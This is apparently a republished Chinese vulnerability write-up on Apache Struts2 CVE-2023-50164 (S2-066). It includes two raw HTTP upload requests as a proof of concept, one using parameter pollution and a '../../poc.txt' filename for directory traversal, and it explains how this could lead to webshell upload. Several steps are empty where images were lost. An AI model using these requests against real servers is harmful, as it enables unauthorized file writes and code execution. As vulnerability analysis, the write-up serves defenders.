Apache Struts2 是一个开源的 Java Web 应用程序开发框架,旨在帮助开发人员构建灵活、可维护和可扩展的企业级Web应用程序。
经过分析和研判,该漏洞利用难度低,攻击者可以通过污染相关上传参数导致目录遍历,在具体代码环境中可能导致上传 Webshell,执行任意代码。
影响版本
POC:
POST /s2_066_war_exploded/upload.action HTTP/1.1
Host: localhost:8080
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Length: 593
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="upload"; filename="poc.txt"
Content-Type: text/plain
test
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="caption";
{{randstr(4097,4097)}}
------WebKitFormBoundary5WJ61X4PRwyYKlip--
POST /s2_066_war_exploded/upload.action HTTP/1.1
Host: localhost:8080
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Length: 593
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="upload"; filename="poc.txt"
Content-Type: text/plain
test
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="uploadFileName";
../../poc.txt
------WebKitFormBoundary5WJ61X4PRwyYKlip--
参数污染
而 FileUploadInterceptor 中获取的参数却是来存储在 HttpParameters 类型的对象中。HttpParameters 对参数大小写不敏感, HttpParameters 存储了参数名大写和参数名小写形式的参数,其中一方会把另一方给覆盖掉,通过 setter 方法
-
在 setter 方法打下断点,发现只被调用了一次。根据调用栈中的方法名和经验,可以很直接的了解到是通过反射调用的。只调用了一次必然和方法名的获取逻辑有关,一般和 Bean 相关的,都是根据成员的名称,得到 setter/getter 方法名,例如成员名首字母大写再拼接上 set
-
所以,将构造的请求中的 UPLOAD 改为了 Upload,发现 setter 方法被成功调用了两次。那么后调用的,会覆盖先调用的。根据 execute 的输出可以知道,name="upload" 覆盖了 name="Upload",而这里的相关逻辑,在com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters 代码中体现
-
-
原本在 HttpParameters#parameters 成员中,顺序是小写在前,大写开头在后『HashMap』,而这里的 acceptableParameters 类型为 TreeMap,从 HashMap 中读取内容再插入 TreeMap 后顺序发生了变化。
-
由此可以知道,可以通过小写模式,覆盖首字母大写模式的参数内容了。
-
目录穿越
-
目录穿越在 JakartaMultiPartRequest#processUpload 的逻辑,上传的内容路径并不可控,文件上传参数存储在 Commons Fileupload 库创建的临时文件中,文件名也不可控。
-
FileUploadInterceptor#intercept 中在获取上传的文件名时,会通过 JakartaMultiPartRequest#getCanonicalName 方法会对获取的文件名进行截断
-
-
所以使用如下方式进行请求不会成功
-
-
目录穿越无法发生在 Struts 框架中,根据 S2 历史漏洞的特点,只能是在二次开发的业务代码中。
-
文件上传
-
根据具体业务逻辑代码,如果自身没做检查,就可能导致文件上传,进而导致命令执行。
-
业务逻辑自身没有做检查就可能导致目录穿越发生,只要覆盖掉 Action 中 uploadFileName 这个成员就可以了,name="uploadFileName" 在 JakartaMultiPartRequest#processUpload 中会被识别为表单参数,而非文件参数,所以其内容也不会经过 FileUploadInterceptor。而参数最终都会经过 ParametersInterceptor#setParameters 添加至 Action 中
漏洞复现分析
https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)
https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/
poc
原文始发于微信公众号(Eonian Sharp):漏洞复现 | Apache Struts2 CVE-2023-50164 S2-066
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论